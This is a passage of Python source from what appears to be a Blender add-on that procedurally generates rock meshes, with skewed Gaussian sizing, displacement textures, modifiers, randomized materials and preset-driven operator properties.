runs. # scaleDisplace - Scale the displacement maps # # return: name - the built name of the object def generateObject(context, muX, sigmaX, scaleX, upperSkewX, muY, sigmaY, scaleY, upperSkewY, muZ, sigmaZ, scaleZ, upperSkewZ, base, shift, scaleDisplace, scale_fac): x = [] y = [] z = [] shape = randint(0, 11) # Cube # Use parameters to re-scale cube: # Reversed if/for nesting. Should be a little faster. if shape == 0: for j in range(8): if sigmaX == 0: x.append(scaleX[0] / 2) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 2) if sigmaY == 0: y.append(scaleY[0] / 2) else: y.append(skewedGauss(muY, sigmaY, scaleY, upperSkewY) / 2) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) elif shape == 1: for j in range(8): if j in [0, 1, 3, 4]: if sigmaX == 0: x.append(scaleX[0] / 2) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 2) if sigmaY == 0: y.append(scaleY[0] / 2) else: y.append(skewedGauss(muY, sigmaY, scaleY, upperSkewY) / 2) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) elif j in [2, 5]: if sigmaX == 0: x.append(0) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 4) if sigmaY == 0: y.append(scaleY[0] / 2) else: y.append(skewedGauss(muY, sigmaY, scaleY, upperSkewY) / 2) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) elif j in [6, 7]: if sigmaX == 0: x.append(0) else: x.append(skewedGauss(0, sigmaX, scaleX, upperSkewX) / 4) if sigmaY == 0: y.append(0) else: y.append(skewedGauss(0, sigmaY, scaleY, upperSkewY) / 4) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) elif shape == 2: for j in range(8): if j in [0, 2, 5, 7]: if sigmaX == 0: x.append(scaleX[0] / 4) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 4) if sigmaY == 0: y.append(0) else: y.append(skewedGauss(0, sigmaY, scaleY, upperSkewY) / 4) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 4) elif j in [1, 3, 4, 6]: if sigmaX == 0: x.append(scaleX[0] / 2) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 2) if sigmaY == 0: y.append(scaleY[0] / 2) else: y.append(skewedGauss(muY, sigmaY, scaleY, upperSkewY) / 2) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) elif shape == 3: for j in range(8): if j > 0: if sigmaX == 0: x.append(scaleX[0] / 2) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 2) if sigmaY == 0: y.append(scaleY[0] / 2) else: y.append(skewedGauss(muY, sigmaY, scaleY, upperSkewY) / 2) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) else: if sigmaX == 0: x.append(0) else: x.append(skewedGauss(0, sigmaX, scaleX, upperSkewX) / 8) if sigmaY == 0: y.append(0) else: y.append(skewedGauss(0, sigmaY, scaleY, upperSkewY) / 8) if sigmaZ == 0: z.append(0) else: z.append(skewedGauss(0, sigmaZ, scaleZ, upperSkewZ) / 8) elif shape == 4: for j in range(10): if j in [0, 9]: if sigmaX == 0: x.append(0) else: x.append(skewedGauss(0, sigmaX, scaleX, upperSkewX) / 2) if sigmaY == 0: y.append(0) else: y.append(skewedGauss(0, sigmaY, scaleY, upperSkewY) / 2) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) elif j in [1, 2, 3, 4]: if sigmaX == 0: x.append(scaleX[0] / 2) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 2) if sigmaY == 0: y.append(scaleY[0] / 2) else: y.append(skewedGauss(muY, sigmaY, scaleY, upperSkewY) / 2) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) elif j in [5, 7]: if sigmaX == 0: x.append(0) else: x.append(skewedGauss(0, sigmaX, scaleX, upperSkewX) / 3) if sigmaY == 0: y.append(scaleY[0] / 3) else: y.append(skewedGauss(muY, sigmaY, scaleY, upperSkewY) / 3) if sigmaZ == 0: z.append(0) else: z.append(skewedGauss(0, sigmaZ, scaleZ, upperSkewZ) / 6) elif j in [6, 8]: if sigmaX == 0: x.append(scaleX[0] / 3) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 3) if sigmaY == 0: y.append(0) else: y.append(skewedGauss(0, sigmaY, scaleY, upperSkewY) / 3) if sigmaZ == 0: z.append(0) else: z.append(skewedGauss(0, sigmaZ, scaleZ, upperSkewZ) / 6) elif shape == 5: for j in range(10): if j == 0: if sigmaX == 0: x.append(0) else: x.append(skewedGauss(0, sigmaX, scaleX, upperSkewX) / 8) if sigmaY == 0: y.append(0) else: y.append(skewedGauss(0, sigmaY, scaleY, upperSkewY) / 8) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) elif j in [1, 2]: if sigmaX == 0: x.append(scaleZ[0] * .125) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) * 0.125) if sigmaY == 0: y.append(scaleZ[0] * 0.2165) else: y.append(skewedGauss(muY, sigmaY, scaleY, upperSkewY) * 0.2165) if sigmaZ == 0: z.append(0) else: z.append(skewedGauss(0, sigmaZ, scaleZ, upperSkewZ) / 4) elif j == 3: if sigmaX == 0: x.append(scaleX[0] / 4) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 4) if sigmaY == 0: y.append(0) else: y.append(skewedGauss(0, sigmaY, scaleY, upperSkewY) / 4) if sigmaZ == 0: z.append(0) else: z.append(skewedGauss(0, sigmaZ, scaleZ, upperSkewZ) / 4) elif j in [4, 6]: if sigmaX == 0: x.append(scaleX[0] * 0.25) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) * 0.25) if sigmaY == 0: y.append(scaleY[0] * 0.433) else: y.append(skewedGauss(muY, sigmaY, scaleY, upperSkewY) * 0.433) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) elif j == 5: if sigmaX == 0: x.append(scaleX[0] / 4) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 4) if sigmaY == 0: y.append(0) else: y.append(skewedGauss(0, sigmaY, scaleY, upperSkewY) / 2) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) elif j in [7, 9]: if sigmaX == 0: x.append(scaleX[0] * 0.10825) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) * 0.10825) if sigmaY == 0: y.append(scaleY[0] * 0.2165) else: y.append(skewedGauss(muY, sigmaY, scaleY, upperSkewY) * 0.2165) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) elif j == 8: if sigmaX == 0: x.append(scaleX[0] / 2) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 2) if sigmaY == 0: y.append(0) else: y.append(skewedGauss(0, sigmaY, scaleY, upperSkewY) / 4) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) elif shape == 6: for j in range(7): if j > 0: if sigmaX == 0: x.append(scaleX[0] / 2) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 2) if sigmaY == 0: y.append(scaleY[0] / 2) else: y.append(skewedGauss(muY, sigmaY, scaleY, upperSkewY) / 2) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) else: if sigmaX == 0: x.append(scaleX[0] / 2) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 2) if sigmaY == 0: y.append(0) else: y.append(skewedGauss(0, sigmaY, scaleY, upperSkewY) / 2) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) elif shape == 7: for j in range(10): if j in [1, 3, 4, 5, 8, 9]: if sigmaX == 0: x.append(scaleX[0] / 2) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 2) if sigmaY == 0: y.append(scaleY[0] / 2) else: y.append(skewedGauss(muY, sigmaY, scaleY, upperSkewY) / 2) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) else: if sigmaX == 0: x.append(scaleX[0] / 2) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 2) if sigmaY == 0: y.append(0) else: y.append(skewedGauss(0, sigmaY, scaleY, upperSkewY) / 2) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) elif shape == 8: for j in range(7): if sigmaX == 0: x.append(scaleX[0] / 2) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 2) if sigmaY == 0: y.append(scaleY[0] / 2) else: y.append(skewedGauss(muY, sigmaY, scaleY, upperSkewY) / 2) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) elif shape == 9: for j in range(8): if sigmaX == 0: x.append(scaleX[0] / 2) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 2) if sigmaY == 0: y.append(scaleY[0] / 2) else: y.append(skewedGauss(muY, sigmaY, scaleY, upperSkewY) / 2) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) elif shape == 10: for j in range(7): if sigmaX == 0: x.append(scaleX[0] / 2) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 2) if sigmaY == 0: y.append(scaleY[0] / 2) else: y.append(skewedGauss(muY, sigmaY, scaleY, upperSkewY) / 2) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) elif shape == 11: for j in range(7): if sigmaX == 0: x.append(scaleX[0] / 2) else: x.append(skewedGauss(muX, sigmaX, scaleX, upperSkewX) / 2) if sigmaY == 0: y.append(scaleY[0] / 2) else: y.append(skewedGauss(muY, sigmaY, scaleY, upperSkewY) / 2) if sigmaZ == 0: z.append(scaleZ[0] / 2) else: z.append(skewedGauss(muZ, sigmaZ, scaleZ, upperSkewZ) / 2) # This is for scaling the displacement textures. # Scale the vertices so that their average is equal to 1 * scale factor. if scaleDisplace: averageX = (sum(x) / len(x)) * scale_fac[0] for i in range(len(x)): x[i] /= averageX averageY = (sum(y) / len(y)) * scale_fac[1] for i in range(len(y)): y[i] /= averageY averageZ = (sum(z) / len(z)) * scale_fac[2] for i in range(len(z)): z[i] /= averageZ # Build vertex and face arrays: if shape == 1: verts = [(-x[0],-y[0],-z[0]),(x[1],-y[1],-z[1]),(x[2],-y[2],z[2]), (-x[3],y[3],-z[3]),(x[4],y[4],-z[4]),(x[5],y[5],z[5]), (x[6],y[6],z[6]),(x[7],y[7],-z[7])] faces = [[0,1,2],[0,1,7],[3,0,7],[3,4,7],[1,4,7],[3,4,5],[1,2,6], [1,4,6],[4,5,6],[0,2,6],[0,3,6],[3,5,6]] elif shape == 2: verts = [(-x[0],y[0],-z[0]),(x[1],-y[1],-z[1]),(x[2],y[2],-z[2]), (-x[3],y[3],-z[3]),(-x[4],-y[4],z[4]),(x[5],y[5],z[5]), (x[6],y[6],z[6]),(-x[7],y[7],z[7])] faces = [[0,1,2],[0,2,3],[0,3,7],[0,7,4],[1,4,5],[0,1,4],[5,1,2], [5,2,6],[3,2,6],[3,6,7],[5,4,7],[5,6,7]] elif shape == 3: verts = [(x[0],y[0],z[0]),(x[1],-y[1],-z[1]),(x[2],y[2],-z[2]), (-x[3],y[3],-z[3]),(x[4],-y[4],z[4]),(x[5],y[5],z[5]), (-x[6],y[6],z[6]),(-x[7],-y[7],z[7])] faces = [[0,1,2],[0,2,3],[0,3,6],[0,6,7],[0,7,4],[0,4,1],[5,4,1,2], [5,6,3,2],[5,4,7,6]] elif shape == 4: verts = [(x[0],y[0],z[0]),(x[1],-y[1],-z[1]),(x[2],y[2],-z[2]), (-x[3],y[3],-z[3]),(-x[4],-y[4],-z[4]),(x[5],-y[5],-z[5]), (x[6],y[6],-z[6]),(x[7],y[7],-z[7]),(-x[8],y[8],-z[8]), (x[9],y[9],-z[9])] faces = [[0,1,6],[0,6,2],[0,2,7],[0,7,3],[0,3,8],[0,8,4],[0,4,5], [0,5,1],[1,9,2],[2,9,3],[3,9,4],[4,9,1],[1,6,2],[2,7,3], [3,8,4],[4,5,1]] elif shape == 5: verts = [(x[0],y[0],z[0]),(x[1],-y[1],z[1]),(x[2],y[2],z[2]), (-x[3],y[3],z[3]),(x[4],-y[4],-z[4]),(x[5],y[5],-z[5]), (x[6],y[6],-z[6]),(-x[7],y[7],-z[7]),(-x[8],y[8],-z[8]), (-x[9],-y[9],-z[9])] faces = [[0,1,2],[0,2,3],[0,3,1],[1,4,5],[1,5,2],[2,5,6],[2,6,7], [2,7,3],[3,7,8],[3,8,9],[3,9,1],[1,9,4],[4,5,9],[5,6,7], [7,8,9],[9,5,7]] elif shape == 6: verts = [(x[0],y[0],z[0]),(x[1],-y[1],-z[1]),(x[2],y[2],-z[2]), (-x[3],y[3],-z[3]),(-x[4],y[4],z[4]),(-x[5],-y[5],z[5]), (-x[6],-y[6],-z[6])] faces = [[0,1,2],[0,2,3,4],[0,1,6,5],[0,4,5],[1,2,3,6],[3,4,5,6]] elif shape == 7: verts = [(x[0],y[0],z[0]),(x[1],-y[1],-z[1]),(x[2],y[2],-z[2]), (x[3],y[3],-z[3]),(-x[4],y[4],-z[4]),(-x[5],y[5],z[5]), (-x[6],y[6],z[6]),(-x[7],y[7],-z[7]),(-x[8],-y[8],-z[8]), (-x[9],-y[9],z[9])] faces = [[0,1,2],[0,2,3],[0,5,6],[0,6,9],[0,1,8,9],[0,3,4,5], [1,2,7,8],[2,3,4,7],[4,5,6,7],[6,7,8,9]] elif shape == 8: verts = [(x[0],y[0],z[0]),(x[1],-y[1],-z[1]),(x[2],y[2],-z[2]), (-x[3],y[3],-z[3]),(-x[4],-y[4],-z[4]),(-x[5],-y[5],z[5]), (-x[6],y[6],z[6])] faces = [[0,2,1],[0,1,4],[0,4,5],[0,5,6],[0,6,3,2],[2,1,4,3], [3,6,5,4]] elif shape == 9: verts = [(-x[0],-y[0],-z[0]),(-x[1],y[1],-z[1]),(-x[2],y[2],z[2]), (-x[3],-y[3],z[3]),(x[4],-y[4],-z[4]),(x[5],y[5],-z[5]), (x[6],y[6],z[6]),(x[7],-y[7],z[7])] faces = [[0,1,6,2],[1,5,7,6],[5,4,3,7],[4,0,2,3],[0,1,5,4],[3,2,6,7]] elif shape == 10: verts = [(-x[0],-y[0],-z[0]),(-x[1],y[1],-z[1]),(-x[2],y[2],z[2]), (x[3],-y[3],z[3]),(x[4],y[4],z[4]),(x[5],y[5],-z[5]), (x[6],-y[6],-z[6])] faces = [[0,2,3],[0,3,6],[0,1,5,6],[2,3,4],[0,1,2],[1,2,4,5],[3,4,5,6]] elif shape == 11: verts = [(-x[0],-y[0],-z[0]),(-x[1],y[1],-z[1]),(-x[2],y[2],z[2]), (x[3],-y[3],z[3]),(x[4],y[4],z[4]),(x[5],y[5],-z[5]), (x[6],-y[6],-z[6])] faces = [[0,2,3],[0,3,6],[0,1,5,6],[2,3,4],[5,6,3],[1,5,3,4],[0,1,4,2]] else: verts = [(-x[0],-y[0],-z[0]),(-x[1],y[1],-z[1]),(-x[2],-y[2],z[2]), (-x[3],y[3],z[3]),(x[4],-y[4],-z[4]),(x[5],y[5],-z[5]), (x[6],-y[6],z[6]),(x[7],y[7],z[7])] faces = [[0,1,3,2],[0,1,5,4],[0,4,6,2],[7,5,4,6],[7,3,2,6],[7,5,1,3]] ## name = "Rock." + str(base + shift).zfill(3) name = "rock" # Make object: obj = createMeshObject(context, verts, [], faces, name) if scaleDisplace: ## bpy.data.objects[name].scale = Vector((averageX, averageY, averageZ)) obj.object.scale = Vector((averageX, averageY, averageZ)) # For a slight speed bump / Readability: ## mesh = bpy.data.meshes[name] mesh = obj.object.data # Apply creasing: if shape == 0: for i in range(12): # todo: "0.375 / 3"? WTF? That = 0.125. . . . # *** Completed 7/15/2011: Changed second one *** mesh.edges[i].crease = gauss(0.125, 0.125) elif shape == 1: for i in [0, 2]: mesh.edges[i].crease = gauss(0.5, 0.125) for i in [6, 9, 11, 12]: mesh.edges[i].crease = gauss(0.25, 0.05) for i in [5, 7, 15, 16]: mesh.edges[i].crease = gauss(0.125, 0.025) elif shape == 2: for i in range(18): mesh.edges[i].crease = gauss(0.125, 0.025) elif shape == 3: for i in [0, 1, 6, 10, 13]: mesh.edges[i].crease = gauss(0.25, 0.05) mesh.edges[8].crease = gauss(0.5, 0.125) elif shape == 4: for i in [5, 6, 7, 10, 14, 16, 19, 21]: mesh.edges[i].crease = gauss(0.5, 0.125) elif shape == 7: for i in range(18): if i in [0, 1, 2, 3, 6, 7, 8, 9, 13, 16]: mesh.edges[i].crease = gauss(0.5, 0.125) elif i in [11,17]: mesh.edges[i].crease = gauss(0.25, 0.05) else: mesh.edges[i].crease = gauss(0.125, 0.025) elif shape == 8: for i in range(12): if i in [0, 3, 8, 9, 10]: mesh.edges[i].crease = gauss(0.5, 0.125) elif i == 11: mesh.edges[i].crease = gauss(0.25, 0.05) else: mesh.edges[i].crease = gauss(0.125, 0.025) elif shape == 9: for i in range(12): if i in [0, 3, 4, 11]: mesh.edges[i].crease = gauss(0.5, 0.125) else: mesh.edges[i].crease = gauss(0.25, 0.05) elif shape == 10: for i in range(12): if i in [0, 2, 3, 4, 8, 11]: mesh.edges[i].crease = gauss(0.5, 0.125) elif i in [1, 5, 7]: mesh.edges[i].crease = gauss(0.25, 0.05) else: mesh.edges[i].crease = gauss(0.125, 0.025) elif shape == 11: for i in range(11): if i in [1, 2, 3, 4, 8, 11]: mesh.edges[i].crease = gauss(0.25, 0.05) else: mesh.edges[i].crease = gauss(0.125, 0.025) return obj.object ## return name # Artifically skews a normal (gaussian) distribution. This will not create # a continuous distribution curve but instead acts as a piecewise finction. # This linearly scales the output on one side to fit the bounds. # # Example output historgrams: # # Upper skewed: Lower skewed: # | ▄ | _ # | █ | █ # | █_ | █ # | ██ | _█ # | _██ | ██ # | _▄███_ | ██ _ # | ▄██████ | ▄██▄█▄_ # | _█▄███████ | ███████ # | _██████████_ | ████████▄▄█_ _ # | _▄▄████████████ | ████████████▄█_ # | _▄_ ▄███████████████▄_ | _▄███████████████▄▄_ # ------------------------- ----------------------- # |mu |mu # Historgrams were generated in R (http://www.r-project.org/) based on the # calculations below and manually duplicated here. # # param: mu - mu is the mean of the distribution. # sigma - sigma is the standard deviation of the distribution. # bounds - bounds[0] is the lower bound and bounds[1] # is the upper bound. # upperSkewed - if the distribution is upper skewed. # return: out - Rondomly generated value from the skewed distribution. # # @todo: Because NumPy's random value generators are faster when called # a bunch of times at once, maybe allow this to generate and return # multiple values at once? def skewedGauss(mu, sigma, bounds, upperSkewed=True): raw = gauss(mu, sigma) # Quicker to check an extra condition than do unnecessary math. . . . if raw < mu and not upperSkewed: out = ((mu - bounds[0]) / (3 * sigma)) * raw + ((mu * (bounds[0] - (mu - 3 * sigma))) / (3 * sigma)) elif raw > mu and upperSkewed: out = ((mu - bounds[1]) / (3 * -sigma)) * raw + ((mu * (bounds[1] - (mu + 3 * sigma))) / (3 * -sigma)) else: out = raw return out # @todo create a def for generating an alpha and beta for a beta distribution # given a mu, sigma, and an upper and lower bound. This proved faster in # profiling in addition to providing a much better distribution curve # provided multiple iterations happen within this function; otherwise it was # slower. # This might be a scratch because of the bounds placed on mu and sigma: # # For alpha > 1 and beta > 1: # mu^2 - mu^3 mu^3 - mu^2 + mu # ----------- < sigma < ---------------- # 1 + mu 2 - mu # ##def generateBeta(mu, sigma, scale, repitions=1): ## results = [] ## ## return results # Creates rock objects: def generateRocks(context, scaleX, skewX, scaleY, skewY, scaleZ, skewZ, scale_fac, detail, display_detail, deform, rough, smooth_fac, smooth_it, mat_enable, color, mat_bright, mat_rough, mat_spec, mat_hard, mat_use_trans, mat_alpha, mat_cloudy, mat_IOR, mat_mossy, numOfRocks=1, userSeed=1.0, scaleDisplace=False, randomSeed=True): global lastRock newMat = [] sigmaX = 0 sigmaY = 0 sigmaZ = 0 upperSkewX = False upperSkewY = False upperSkewZ = False shift = 0 lastUsedTex = 1 vertexScaling = [] # Seed the random Gaussian value generator: if randomSeed: seed(int(time.time())) else: seed(userSeed) if mat_enable: # Calculate the number of materials to use. # If less than 10 rocks are being generated, generate one material # per rock. # If more than 10 rocks are being generated, generate # ceil[(1/9)n + (80/9)] materials. # -> 100 rocks will result in 20 materials # -> 1000 rocks will result in 120 materials. if numOfRocks < 10: numOfMats = numOfRocks else: numOfMats = math.ceil((1/9) * numOfRocks + (80/9)) # newMat = generateMaterialsList(numOfMats) # *** No longer needed on 9/6/2011 *** # todo Set general material settings: # *** todo completed 5/25/2011 *** # Material roughness actual max = 3.14. Needs scaling. mat_rough *= 0.628 spec_IOR = 1.875 * (mat_spec ** 2) + 7.125 * mat_spec + 1 # Changed as material mapping is no longer needed. # *** Complete 9/6/2011 *** for i in range(numOfMats): newMat.append(bpy.data.materials.new(name = 'stone')) randomizeMaterial(newMat[i], color, mat_bright, mat_rough, mat_spec, mat_hard, mat_use_trans, mat_alpha, mat_cloudy, mat_IOR, mat_mossy, spec_IOR) # These values need to be really small to look good. # So the user does not have to use such ridiculously small values: deform /= 10 rough /= 100 # Verify that the min really is the min: if scaleX[1] < scaleX[0]: scaleX[0], scaleX[1] = scaleX[1], scaleX[0] if scaleY[1] < scaleY[0]: scaleY[0], scaleY[1] = scaleY[1], scaleY[0] if scaleZ[1] < scaleZ[0]: scaleZ[0], scaleZ[1] = scaleZ[1], scaleZ[0] # todo: edit below to allow for skewing the distribution # *** todo completed 4/22/2011 *** # *** Code now generating "int not scriptable error" in Blender *** # # Calculate mu and sigma for a Gaussian distributed random number # generation: # If the lower and upper bounds are the same, skip the math. # # sigma is the standard deviation of the values. The 95% interval is three # standard deviations, which is what we want most generated values to fall # in. Since it might be skewed we are going to use half the difference # betwee the mean and the furthest bound and scale the other side down # post-number generation. if scaleX[0] != scaleX[1]: skewX = (skewX + 1) / 2 muX = scaleX[0] + ((scaleX[1] - scaleX[0]) * skewX) if skewX < 0.5: sigmaX = (scaleX[1] - muX) / 3 else: sigmaX = (muX - scaleX[0]) / 3 upperSkewX = True else: muX = scaleX[0] if scaleY[0] != scaleY[1]: skewY = (skewY + 1) / 2 muY = scaleY[0] + ((scaleY[1] - scaleY[0]) * skewY) if skewY < 0.5: sigmaY = (scaleY[1] - muY) / 3 else: sigmaY = (muY - scaleY[0]) / 3 upperSkewY = True else: muY = scaleY[0] if scaleZ[0] != scaleZ[1]: skewZ = (skewZ + 1) / 2 muZ = scaleZ[0] + ((scaleZ[1] - scaleZ[0]) * skewZ) if skewZ < 0.5: sigmaZ = (scaleZ[1] - muZ) / 3 else: sigmaZ = (muZ - scaleZ[0]) / 3 upperSkewZ = True else: muZ = scaleZ for i in range(numOfRocks): # todo: enable different random values for each (x,y,z) corrdinate for # each vertex. This will add additional randomness to the shape of the # generated rocks. # *** todo completed 4/19/2011 *** # *** Code is notably slower at high rock counts *** rock = generateObject(context, muX, sigmaX, scaleX, upperSkewX, muY, ## name = generateObject(context, muX, sigmaX, scaleX, upperSkewX, muY, sigmaY, scaleY, upperSkewY, muZ, sigmaZ, scaleZ, upperSkewZ, i, lastRock, scaleDisplace, scale_fac) ## rock = bpy.data.objects[name] # todo Map what the two new textures will be: # This is not working. It works on paper so . . . ??? # *** todo completed on 4/23/2011 *** # *** todo re-added as the first rock is getting # 'Texture.001' twice. *** # *** todo completed on 4/25/2011 *** # *** Script no longer needs to map new texture names 9/6/2011 *** # Create the four new textures: # todo Set displacement texture parameters: # *** todo completed on 5/31/2011 *** # Voronoi has been removed from being an option for the fine detail # texture. texTypes = ['CLOUDS', 'MUSGRAVE', 'DISTORTED_NOISE', 'STUCCI', 'VORONOI'] newTex = [] # The first texture is to give a more ranodm base shape appearance: newTex.append(bpy.data.textures.new(name = 'rock_displacement', type = texTypes[1])) randomizeTexture(newTex[0], 0) newTex.append(bpy.data.textures.new(name = 'rock_displacement', type = texTypes[4])) randomizeTexture(newTex[1], 0) if numpy: newTex.append(bpy.data.textures.new(name = 'rock_displacement', type = texTypes[int(round(weibull(1, 1)[0] / 2.125))])) randomizeTexture(newTex[2], 1) newTex.append(bpy.data.textures.new(name = 'rock_displacement', type = texTypes[int(round(weibull(1, 1)[0] / 2.125))])) randomizeTexture(newTex[3], 2) else: newTex.append(bpy.data.textures.new(name = 'rock_displacement', type = texTypes[int(round(weibull(1, 1) / 2.125))])) randomizeTexture(newTex[2], 1) newTex.append(bpy.data.textures.new(name = 'rock_displacement', type = texTypes[int(round(weibull(1, 1) / 2.125))])) randomizeTexture(newTex[3], 2) # Add modifiers: rock.modifiers.new(name = "Subsurf", type = 'SUBSURF') rock.modifiers.new(name = "Subsurf", type = 'SUBSURF') rock.modifiers.new(name = "Displace", type = 'DISPLACE') rock.modifiers.new(name = "Displace", type = 'DISPLACE') rock.modifiers.new(name = "Displace", type = 'DISPLACE') rock.modifiers.new(name = "Displace", type = 'DISPLACE') # If smoothing is enabled, allow a little randomness into the # smoothing factor. Then add the smoothing modifier. if smooth_fac > 0.0 and smooth_it > 0: rock.modifiers.new(name = "Smooth", type='SMOOTH') rock.modifiers[6].factor = gauss(smooth_fac, (smooth_fac ** 0.5) / 12) rock.modifiers[6].iterations = smooth_it # Make a call to random to keep things consistant: else: gauss(0, 1) # Set subsurf modifier parameters: rock.modifiers[0].levels = display_detail rock.modifiers[0].render_levels = detail rock.modifiers[1].levels = display_detail rock.modifiers[1].render_levels = detail # todo Set displacement modifier parameters: # *** todo completed on 4/23/2011 *** # *** toned down the variance on 4/26/2011 *** # *** added third modifier on 4/28/2011 *** # *** texture access changed on 9/6/2011 *** rock.modifiers[2].texture = newTex[0] rock.modifiers[2].strength = gauss(deform / 100, (1 / 300) * deform) rock.modifiers[2].mid_level = 0 rock.modifiers[3].texture = newTex[1] rock.modifiers[3].strength = gauss(deform, (1 / 3) * deform) rock.modifiers[3].mid_level = 0 rock.modifiers[4].texture = newTex[2] rock.modifiers[4].strength = gauss(rough * 2, (1 / 3) * rough) rock.modifiers[5].texture = newTex[3] rock.modifiers[5].strength = gauss(rough, (1 / 3) * rough) # Set mesh to be smooth and fix the normals: utils.smooth(rock.data) ## utils.smooth(bpy.data.meshes[name]) bpy.ops.object.editmode_toggle() bpy.ops.mesh.normals_make_consistent() bpy.ops.object.editmode_toggle() if mat_enable: bpy.ops.object.material_slot_add() rock.material_slots[0].material = newMat[randint(0, numOfMats - 1)] # Store the last value of i: shift = i # Add the shift to lastRock: lastRock += shift + 1 return # Much of the code below is more-or-less imitation of other addons and as such # I have left it undocumented. class rocks(bpy.types.Operator): """Add rock objects""" bl_idname = "mesh.rocks" bl_label = "Add Rocks" bl_options = {'REGISTER', 'UNDO'} bl_description = "Add rocks" # Get the preset values from the XML file. # -> The script was morphed into a Python module # to support this. # Tell settings.py to parse the XML file with the settings. # Then get the default values resulting from the parsing. # Make a list containing the default values and append to that # the presets specified in the same XML file. This list will # be used to load preset values. settings.parse() defaults = settings.getDefault() presetsList = [defaults] presetsList += settings.getPresetLists() presets = [] lastPreset = 0 # Build the presets list for the enum property. # This needs to be a for loop as the user might add presets to # the XML file and those should show here: for i in range(len(presetsList)): value = str(i) name = presetsList[i][0] description = name + " preset values." presets.append((value, name, description)) preset_values = EnumProperty(items = presets, name = "Presets", description = "Preset values for some rock types") num_of_rocks = IntProperty(name = "Number of rocks", description = "Number of rocks to generate. WARNING: Slow at high values!", min = 1, max = 1048576, soft_max = 20, default = 1) scale_X = FloatVectorProperty(name = "X scale", description = "X axis scaling range.", min = 0.0, max = 256.0, step = 1, default = defaults[1], size = 2) skew_X = FloatProperty(name = "X skew", description = "X Skew ratio. 0.5 is no skew.", min = -1.0, max = 1.0, default = defaults[4]) scale_Y = FloatVectorProperty(name = "Y scale", description = "Y axis scaling range.", min = 0.0, max = 256.0, step = 1, default = defaults[2], size = 2) skew_Y = FloatProperty(name = "Y skew", description = "Y Skew ratio. 0.5 is no skew.", min = -1.0, max = 1.0, default = defaults[5]) scale_Z = FloatVectorProperty(name = "Z scale", description = "Z axis scaling range.", min = 0.0, max = 256.0, step = 1, default = defaults[3], size = 2) skew_Z = FloatProperty(name = "Z skew", description = "Z Skew ratio. 0.5 is no skew.", min = -1.0, max = 1.0, default = defaults[6]) use_scale_dis = BoolProperty(name = "Scale displace textures", description = "Scale displacement textures with dimensions. May cause streched textures.", default = defaults[7]) scale_fac = FloatVectorProperty(name = "Scaling Factor", description = 